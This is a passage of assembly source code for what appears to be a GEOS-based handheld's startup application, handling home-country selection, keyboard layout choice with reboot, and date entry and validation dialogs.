call ObjMessage ; ax, cx, dx, bp gone
ret
RSPRstartupProcessShowHomeCountry endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSCLRstartCountryListQueryMoniker
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Query message to add the moniker of specified item to
dynamic list.
CALLED BY: MSG_RSTART_COUNTRY_QUERY_ITEM_MONIKER
PASS: *ds:si = RStartupCountryListClass object
ds:di = RStartupCountryListClass instance data
es = segment of RStartupCountryListClass
ax = message #
^lcx:dx = the dynamic list requesting the moniker (object)
bp = item #
RETURN: nothing
DESTROYED: ax, cx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 4/28/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSCLRstartCountryListQueryMoniker method dynamic RStartupCountryListClass,
MSG_RSTART_COUNTRY_QUERY_ITEM_MONIKER
rwRecord local RWTDatabaseCountryRecord
numItem local word
mov cx, bp
.enter
mov ss:[numItem], cx
call RWTDatabaseCountryGetAbsoluteRecordNumber
; cx <- record #
EC < ERROR_C DATABASE_GET_ABSOLUTE_RECORD_NUMBER_PROBLEM >
segmov es, ss
lea di, ss:[rwRecord]
call RWTDatabaseCountryReadRecord
EC < ERROR_C DATABASE_COUNTRY_READ_RECORD_PROBLEM >
;
; Put the right text on the dynamic list.
;
push bp
lea dx, ss:[rwRecord].RWTDCR_country
mov bp, ss:[numItem]
mov cx, ss ; cx:dx - string
mov ax, MSG_GEN_DYNAMIC_LIST_REPLACE_ITEM_TEXT
call ObjCallInstanceNoLock
pop bp
.leave
ret
RSCLRstartCountryListQueryMoniker endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSCLMetaFupKbdChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enable the user to search with the keypress of the first
letter of the selection.
CALLED BY: MSG_META_FUP_KBD_CHAR
PASS: *ds:si = RStartupCountryListClass object
ds:di = RStartupCountryListClass instance data
es = segment of RStartupCountryListClass
cx = charValue
dl = CharFlags
CF_RELEASE - set if release
CF_STATE - set if shift, ctrl, etc.
CF_TEMP_ACCENT - set if accented char pending
dh = ShiftState (SS_RALT + SS_RCTRL pressed)
bp low = ToggleState
bp high = scan code
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS: if 'A' <= cx <= 'Z', superclass will not be called.
PSEUDO CODE/STRATEGY:
Make sure the key that was pressed was a letter by
compare the ascii value of the character that is
passed.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 7/24/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSCLMetaFupKbdChar method dynamic RStartupCountryListClass,
MSG_META_FUP_KBD_CHAR
passedBP local word push bp
searchString local 2 dup (TCHAR)
.enter
;
; See if ESCAPE is pressed.
;
SBCS < cmp cl, C_ESCAPE >
DBCS < cmp cx, C_ESCAPE >
jne notEscape
;
; Notify app obj that we should accept hard icon now,
; otherwise phone app will not be launched.
;
mov ax, MSG_RSTARTUP_APP_SET_APP_FLAGS
mov cl, mask RSAF_ACCEPT_HARD_ICON
call UserCallApplication
;
; Quit
;
push bp
mov ax, MSG_META_QUIT
call UserCallApplication
pop bp
;
; Launch Contact Manager
;
mov cx, FA_PHONE_APP
call FoamLaunchApplication
jmp quit
notEscape:
;
; Convert to Upper Case if required.
;
SBCS < cmp cx, C_SMALL_A >
DBCS < cmp cx, C_LATIN_SMALL_LETTER_A >
jl upperCase
SBCS < cmp cx, C_SMALL_Z >
DBCS < cmp cx, C_LATIN_SMALL_LETTER_Z >
LONG jg callSuper ; not A-Z/a-z
;
; change to uppercase
;
SBCS < sub cx, C_SMALL_A - C_CAP_A >
DBCS < sub cx, C_LATIN_SMALL_LETTER_A - C_LATIN_CAPITAL_LETTER_A>
upperCase:
;
; Make sure it is a valid character
;
SBCS < cmp cx, C_CAP_A >
DBCS < cmp cx, C_LATIN_CAPITAL_LETTER_A >
LONG jl callSuper
SBCS < cmp cx, C_CAP_Z >
DBCS < cmp cx, C_LATIN_CAPITAL_LETTER_Z >
LONG jg callSuper
;
; Make sure it is the first press
;
test dl, mask CF_FIRST_PRESS
LONG jz quit
;
; Do the search!
;
segmov es, ss
lea di, ss:[searchString]
LocalPutChar esdi, cx
mov ax, C_NULL
LocalPutChar esdi, ax
lea di, ss:[searchString]
call RWTDatabaseCountryFindRecord ; cx has selection #
cmp cx, RWTIME_RECORD_NOT_FOUND
je quit
;
; Set the selection.
;
push bp
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
call ObjCallInstanceNoLock ; ax, cx, dx, bp gone
mov ax, MSG_GEN_ITEM_GROUP_SET_MODIFIED_STATE
call ObjCallInstanceNoLock ; ax, cx, dx, bp gone
pop bp
quit:
.leave
ret
callSuper:
;
; Call superclass
;
push bp
mov bp, ss:[passedBP]
;
; why?
; GetResourceSegmentNS RStartupClassStructures, es
mov di, offset RStartupCountryListClass
call ObjCallSuperNoLock
pop bp
jmp quit
RSCLMetaFupKbdChar endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupRecoverFiles
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy over the backup files if the db files are corrupted
CALLED BY: FCPOpenApplication
PASS: cx = RWTimeInitFlags
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY: Copy the backup files over based on the passed in
flags, and then open the files that were copied.
REVISION HISTORY:
Name Date Description
---- ---- -----------
AW 6/12/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if 0 ; ------------ functions provided by rwtime ---- not used
CityBackup char "clock\\rwtime.bak",0
CityDB char "clock\\rwtime.wdb",0
CountryBackup char "clock\\rwcount.bak",0
CountryDB char "clock\\rwcount.wdb",0
RStartupRecoverFiles ---NOT_USED--- proc near
passFlags local word
uses ax,bx,cx,dx,si,di,bp
.enter
;
; Database corrupted, copy backup files over over
;
clr passFlags
mov bx, cx
push ds, si
mov cx, handle AlarmDBCorruptedText
mov dx, offset AlarmDBCorruptedText
call FoamDisplayWarning
; set the path
mov ax, SP_USER_DATA
call IsMultiLanguageModeOn
jc notOn
call GeodeSetLanguageStandardPath
jmp continue
notOn:
call FileSetStandardPath
continue:
segmov ds, cs
segmov es, cs
test bx, mask RIF_CITY_CORRUPTED
jz cityNormal
;
; Remove existing city database if it is there
;
call FileDelete
mov dx, offset CityDB
;
; Check to see if there is enough room to copy the city database
;
call FoamGetFreeDiskSpace
cmp ax, RSTARTUP_CITY_SPACE_SIZE
jg copyCity
call RStartupRecoverError
stc
jmp exit
;
; Copy the city database
;
copyCity:
mov si, offset CityBackup
clr cx, dx
mov di, offset CityDB
call FileCopy
or passFlags, mask RPIF_CITY
cityNormal:
test bx, mask RIF_COUNTRY_CORRUPTED
jz done
;
; Remove existing country database if it is there
;
call FileDelete
mov dx, offset CountryDB
;
; Check to see if there is enough room to copy the country database
;
call FoamGetFreeDiskSpace
cmp ax, RSTARTUP_COUNTRY_SPACE_SIZE
jg copyCountry
call RStartupRecoverError
stc
jmp exit
;
; Copy the country database
;
copyCountry:
clr cx, dx
mov si, offset CountryBackup
mov di, offset CountryDB
call FileCopy
or passFlags, mask RPIF_COUNTRY
done:
pop ds, si
clc
mov cx, passFlags
call RWTDatabaseInit
exit:
.leave
ret
RStartupRecoverFiles endp
RStartupRecoverError --not-used -- proc near
mov cx, handle NotEnoughSpaceForBackup
mov dx, offset NotEnoughSpaceForBackup
call FoamDisplayError
ret
RStartupRecoverError endp
endif ; 0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupRestoreFiles
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Restore the In Use condition of the database files
CALLED BY: RSPGenProcessOpenApplication
PASS: cx = RWTimeInitFlags
RETURN: carry set if error, and also cx (RWTimeInitFlags) if error.
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY: Put up a note that says the db is rebuilding, and then
rebuild the correct db files based on the flags passed in.
REVISION HISTORY:
Name Date Description
---- ---- -----------
AW 6/12/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if 0
RStartupRestoreFiles proc near
passedFlags local word push cx
uses ax,bx,dx,si,di,bp
.enter
;
; Get the UI thread handle
;
mov ax, SGIT_UI_PROCESS
call SysGetInfo ; ax = ui thread handle
; dx destroyed
mov_tr bx, ax
;
; Show the flashing note
;
mov cx, handle RStartupRebuildDatabase
mov dx, offset RStartupRebuildDatabase
call PutUpDialogViaUIThread ; di, ax destroyed
push cx
mov cx, passedFlags
call RWTDatabaseRestore ; cx <- return val
mov ax, cx
pop cx
pushf
push ax
call TakeDownDialogViaUIThread ; di, ax destroyed
pop cx
popf
.leave
ret
RStartupRestoreFiles endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessCountryOK
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User presses OK on Home Country dialog box. Get the country
selection, find the capital and set it to be the home city.
CALLED BY: MSG_RSTARTUP_PROCESS_COUNTRY_OK
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 4/28/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessCountryOK method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_COUNTRY_OK
rwRecord local RWTDatabaseCountryRecord
.enter
;
; Grab the selection from country list
;
push bp
mov bx, handle HomeCountryDynamicList
mov si, offset HomeCountryDynamicList
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax - selection,
; GIGS_NONE and clear
; set if none.
; cx, dx, bp gone
EC < Assert ne, ax, GIGS_NONE >
pop bp
;
; Find the record, hence get the string of capital city
;
mov_tr cx, ax
call RWTDatabaseCountryGetAbsoluteRecordNumber
; cx <- record #
EC < ERROR_C DATABASE_GET_ABSOLUTE_RECORD_NUMBER_PROBLEM >
segmov es, ss
lea di, ss:[rwRecord]
call RWTDatabaseCountryReadRecord
EC < ERROR_C DATABASE_COUNTRY_READ_RECORD_PROBLEM >
;
; Find the city from the string
;
segmov es, ss
lea di, ss:[rwRecord].RWTDCR_capital
call RWTDatabaseFindRecord ; cx <- entry number
; carry set if error
EC < ERROR_C DATABASE_CAPITAL_CITY_SEARCH_ERROR >
;
; Set it as home city
;
call RWTDatabaseGetAbsoluteRecordNumber
; cx <- absolute #
EC < ERROR_C DATABASE_GET_ABSOLUTE_RECORD_NUMBER_PROBLEM >
call RWTDatabaseSetHomeCity ; carry set if error
EC < ERROR_C DATABASE_SET_HOME_CITY_ERROR >
;
; Close the World time database
;
mov cx, mask RPIF_COUNTRY or mask RPIF_CITY
call RWTDatabaseClose
EC < ERROR_C DATABASE_CLOSE_PROBLEM >
;
; Prepare to initiate keyboard dialog
;
push bp
; mov ax, MSG_RSTARTUP_PROCESS_SHOW_DATE
mov ax, MSG_RSTARTUP_PROCESS_SHOW_KEYBOARD
call CallProcess ; ax, cx, dx, bp gone
pop bp
.leave
ret
RSPRstartupProcessCountryOK endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessShowKeyboard
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Show the Keyboard type dialog box if the keyboard type
is scandinavian.
CALLED BY: MSG_RSTARTUP_PROCESS_SHOW_KEYBOARD
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Read from ini file: [keyboard]scandinavian to see if
we have scandinavian keyboard.
If so, see if [keyboard]keyboardTypeChosen is TRUE or
FALSE.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 8/24/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
keyboardCategory char 'keyboard', 0
scandinavianKey char 'scandinavian', 0
kbdTypeChosenKey char 'kbdTypeChosen', 0
RSPRstartupProcessShowKeyboard method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_SHOW_KEYBOARD
.enter
;
; check ini file to see if we have scandinavian keyboard
;
clr ax ; default: not
; scandinavian kbd
mov cx, cs
mov ds, cx
mov si, offset keyboardCategory
mov dx, offset scandinavianKey
call InitFileReadBoolean ; found: carry clear,
; ax - TRUE/FALSE
; not found: carry set
tst ax
jz doTime
;
; check ini file to see if we have keyboard type chosen already
;
clr ax ; default: not found
mov dx, offset kbdTypeChosenKey
call InitFileReadBoolean ; found: carry clear,
; ax - TRUE/FALSE
; not found: carry set
tst ax
jnz doTime
;
; Initialize the dialog
;
mov bx, handle KeyboardDialog
mov si, offset KeyboardDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
quit:
.leave
ret
doTime:
mov ax, MSG_RSTARTUP_PROCESS_SHOW_DATE
call CallProcess ; ax, cx, dx, bp gone
jmp quit
RSPRstartupProcessShowKeyboard endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessKeyboardOk
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User presses OK on Keyboard dialog box.
CALLED BY: MSG_RSTARTUP_PROCESS_KEYBOARD_OK
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Display warning with the keyboard name.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 8/24/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessKeyboardOk method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_KEYBOARD_OK
.enter
;
; Get the selection from KeyboardChoices
;
mov bx, handle KeyboardChoices
mov si, offset KeyboardChoices
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax - selection,
; GIGS_NONE and clear
; set if none.
; cx, dx, bp gone
EC < Assert ne, ax, GIGS_NONE >
EC < Assert etype, ax, RespKeyboardType >
mov_tr si, ax ; si <- selection
;
; Find the keyboard name
;
mov bx, handle StringsResource
call MemLock ; ax <- segment
mov_tr es, ax ; es:?? - string
;
; Get the string we want
;
mov di, cs:[keyboardNameStringTable][si]
mov ax, es:[di] ; es:ax - fptr.string
;
; Display warning and get confirmation
;
sub sp, size FoamStandardDialogOptrParams
mov di, sp
mov cx, handle KeyboardWarningText
mov dx, offset KeyboardWarningText
movdw ss:[di].FSDOP_bodyText, cxdx
mov ss:[di].FSDOP_customFlags, \
CustomDialogBoxFlags <1, CDT_QUESTION, GIT_PROPERTIES, 0>
movdw ss:[di].FSDOP_stringArg1, esax
clr ax
movdw ss:[di].FSDOP_titleText, axax
movdw ss:[di].FSDOP_titleIconBitmap, axax
mov ss:[di].FSDOP_stringArg2.segment, ax
mov ss:[di].FSDOP_triggerTopText.handle, ax
mov ss:[di].FSDOP_acceptTriggerDestination.handle, ax
mov ss:[di].FSDOP_acceptTriggerMessage, ax
mov ss:[di].FSDOP_rejectTriggerDestination.handle, ax
mov ss:[di].FSDOP_rejectTriggerMessage, ax
mov ss:[di].FSDOP_layerPriority, \
RSTARTUP_POPUP_LAYER_PRIORITY
mov ss:[di].FSDOP_helpContext.segment, ax
mov ss:[di].FSDOP_helpFile.segment, ax
mov bp, sp ; bp is destroyed!
call FoamStandardDialogOptr ; ax <- response:
; IC_APPLY / IC_DISMISS
;
; Unlock block
;
call MemUnlock
;
; If OK, change keyboard file, otherwise quit
;
cmp ax, IC_APPLY
jne quit
;
; Rename keymap.fin OR keymap.den to keymap.dat
;
EC < Assert etype, si, RespKeyboardType >
call KeyboardFileRename ; everything except
; ds destroyed
;
; Record that the keyboard type is changed, so we will reboot later.
;
; no need.. we reboot right away
;
; mov ax, MSG_RSTARTUP_APP_SET_APP_FLAGS
; mov cl, mask RSAF_KBD_TYPE_CHANGED
; call UserCallApplication
;
;
; display reboot note
;
mov cx, handle KeyboardRebootWarning
mov dx, offset KeyboardRebootWarning
mov ax, FoamCustomDialogBoxFlags <1, CDT_NOTIFICATION, \
GIT_NOTIFICATION, 0>
call RStartupDisplayWithHighPriority
;
; Reboot
;
mov ax, SST_RESTART ; SST_REBOOT
call SysShutdown ; does not return
quit:
.leave
ret
RSPRstartupProcessKeyboardOk endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
KeyboardFileRename
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Rename keymap.fin or keymap.den to keymap.dat in
PRIVDATA\KBD.
CALLED BY: INT (RSPRstartupProcessKeyboardOK)
PASS: si = RespKeyboardType
RETURN: nothing
DESTROYED: everything except ds
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Rename selected file to keymap.dat in PRIVDATA\KBD.
Write [keyboard]kbdTypeChosen = TRUE so that even if
user reboots in startup, and startup loads again,
keyboard type dialog won't show up.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 8/24/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
keyboardDirName char "KBD", 0
newFileName char "kbd\\keymap.dat", 0
finlandKbdFile char "kbd\\keymap.fs", 0
denmarkKbdFile char "kbd\\keymap.dn", 0
keyboardFileNameTable word \
offset finlandKbdFile,
offset denmarkKbdFile
EC< PRIVDATA_KBD_NOT_FOUND_KBD_TYPE_NOT_CHANGED enum Warnings>
EC< FILE_ERROR_KBD_TYPE_NOT_CHANGED enum Warnings>
KeyboardFileRename proc near
uses ds
.enter
EC < Assert etype, si, RespKeyboardType >
;
; cd SP_PRIVATE_DATA
;
call FilePushDir
mov ax, SP_PRIVATE_DATA
call FileSetStandardPath
;
; mkdir [privdata]/KBD
;
segmov ds, cs, cx
mov dx, offset keyboardDirName
call FileCreateDir ; carry set if error.
; ax destroyed
;
; Let's copy file instead of renaming file.
; Find the current file name
;
mov si, cs:[keyboardFileNameTable][si]
;
; Get the new file name
;
mov es, cx ; es := cs
mov di, offset newFileName
;
; No disk handle provided
;
clr cx, dx
;
; copy
;
call FileCopyLocal ; carry set if error,
; ax - error code
EC < WARNING_C FILE_ERROR_KBD_TYPE_NOT_CHANGED >
call FilePopDir
;
; write [keyboard]kbdTypeChosen true
;
mov cx, ds
mov si, offset keyboardCategory
mov dx, offset kbdTypeChosenKey
mov ax, TRUE
call InitFileWriteBoolean
call InitFileCommit
.leave
ret
KeyboardFileRename endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessShowDate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the date format, and show date dialog.
CALLED BY: MSG_RSTARTUP_PROCESS_SHOW_DATE
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
The current date format will be used to parse the text, so we
need to set it.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 4/28/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessShowDate method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_SHOW_DATE
.enter
;
; Set the date format
;
; Get the format string and call LocalSetDateTimeFormat
; to set date format. The strings are in the StringsResource. Have to
; lock the block and get the segment.
;
mov bx, handle StringsResource
call MemLock ; ax <- segment
mov_tr es, ax ; es:di - string
mov di, offset DefaultDateFormatString
mov di, es:[di]
mov si, DTF_ZERO_PADDED_SHORT ; set DATE
call LocalSetDateTimeFormat
call MemUnlock
;
; Write to ini file. Why not?
;
; actually, why?
;
; call InitFileCommit
;
; Set max length on date string -- done in UI file
;
; mov bx, handle DateText
; mov si, offset DateText
; mov cx, DATE_TEXT_MAX_LENGTH ; = 8
; mov ax, MSG_VIS_TEXT_SET_MAX_LENGTH
; mov di, mask MF_CALL
; call ObjMessage ; ax, cx, dx, bp gone
;
; Load the sample string
;
mov cx, handle DateText
mov dx, offset DateText
mov si, DTF_ZERO_PADDED_SHORT
call RStartupReplaceDateTimeString
;
; Initialize the dialog
;
mov bx, handle DateDialog
mov si, offset DateDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
.leave
ret
RSPRstartupProcessShowDate endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupReplaceDateTimeString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Using current time, format a localized string according to
caller, and set it on the text object specified.
CALLED BY: INTERNAL
PASS: ^lcx:dx = text object
si = DateTimeFormat
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS: The text object is changed.
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/16/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RStartupReplaceDateTimeString proc near
uses ax, bx, cx, dx, ds, si, es, di
buffer local SMALL_STRING_SIZE dup (TCHAR)
.enter
Assert optr, cxdx
Assert etype, si, DateTimeFormat
;
; Preserve optr
;
push cx, dx ; optr
;
; Find current date/time
;
call TimerGetDateAndTime ; ax - year
; bl - month
; bh - day
; cl - weekday
; ch - hours
; dl - minutes
; dh - seconds
;
; Format buffer
;
segmov es, ss, di
lea di, ss:[buffer]
call LocalFormatDateTime ; buffer filled,
; cx <- #char
Assert le, cx, SMALL_STRING_SIZE
;
; Replace the text of text object
;
pop bx, si ; ^lbx:si - object
push bp
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
mov dx, ss
mov bp, di ; dx:bp - text
mov di, mask MF_CALL
call ObjMessage
pop bp
.leave
ret
RStartupReplaceDateTimeString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessDateOK
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: User presses OK on Date box. Check if the date string is
valid, set the date, and initiate the Time dialog.
CALLED BY: MSG_RSTARTUP_PROCESS_DATE_OK
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/ 1/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessDateOK method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_DATE_OK
buffer local SMALL_STRING_SIZE dup (TCHAR)
.enter
push bp
;
; fetch the date text entered by user
;
mov bx, handle DateText
mov si, offset DateText
mov dx, ss ; dx:bp - string
lea bp, ss:[buffer]
mov ax, MSG_VIS_TEXT_GET_ALL_PTR
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; cx <- string length
; buffer filled,
; ax, di destroyed
;
; see if it is a valid date
;
mov es, dx ; es:di - string
mov di, bp
mov si, DTF_ZERO_PADDED_SHORT
call LocalParseDateTime ; carry set if valid:
; ax - year,
; bl - month,
; bh - day,
; cx, dx <- -1
;
; if carry not set, give invalid date mesg and leave
;
jnc error
;
; the date is not error-free yet: year might be too big/small, day
; might be too big (e.g. April 31)
; check
;
call RStartupCheckValidDate ; carry set if valid
jnc error
;
; so everything is fine. Set the date
;
mov cl, mask SDTP_SET_DATE
call TimerSetDateAndTime ; ax, bx, cx, dx gone
;
; Initiate Time dialog
;
mov ax, MSG_RSTARTUP_PROCESS_SHOW_TIME
call CallProcess ; ax, cx, dx, bp gone
jmp quit
error:
;
; Show error mesg
;
mov cx, handle InvalidDateMsg
mov dx, offset InvalidDateMsg
mov ax, FoamCustomDialogBoxFlags <1, CDT_ERROR, \
GIT_NOTIFICATION, 0>
call RStartupDisplayWithHighPriority
;
; Reload the sample string
;
mov cx, handle DateText
mov dx, offset DateText
mov si, DTF_ZERO_PADDED_SHORT
call RStartupReplaceDateTimeString
;
; Get cursor back to beginning of the field
;
; mov ax, MSG_VIS_TEXT_SELECT_START
; mov di, mask MF_CALL
; call ObjMessage
quit:
pop bp
.leave
ret
RSPRstartupProcessDateOK endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupCheckValidDate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see that the passed date is valid.
CALLED BY: INTERNAL
PASS: ax = year
bl = month
bh = day
RETURN: carry set if valid
carry cleared otherwise
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
We can be sure that: ax is 4-digit number, 1 <= bl <= 12,
1 <= bh <= 31.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/17/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RStartupCheckValidDate proc near
uses cx
.enter
EC < Assert urange ax, 1, 9999 >
EC < Assert urange bl, 1, 12 >
EC < Assert urange bh, 1, 31 >
;
; check year: 1980 <= ax <= 2099
;
cmp ax, 1980
jb error
cmp ax, 2099
ja error
;
; find what is the biggest day we could have in this year, this
; month...
;
call LocalCalcDaysInMonth ; ch <- days in month
cmp bh, ch
jg error
;
; ok: legal date
;
stc
quit:
.leave
ret
error:
clc
jmp quit
RStartupCheckValidDate endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessShowTime
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the time format, and show time dialog.
CALLED BY: MSG_RSTARTUP_PROCESS_SHOW_TIME
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
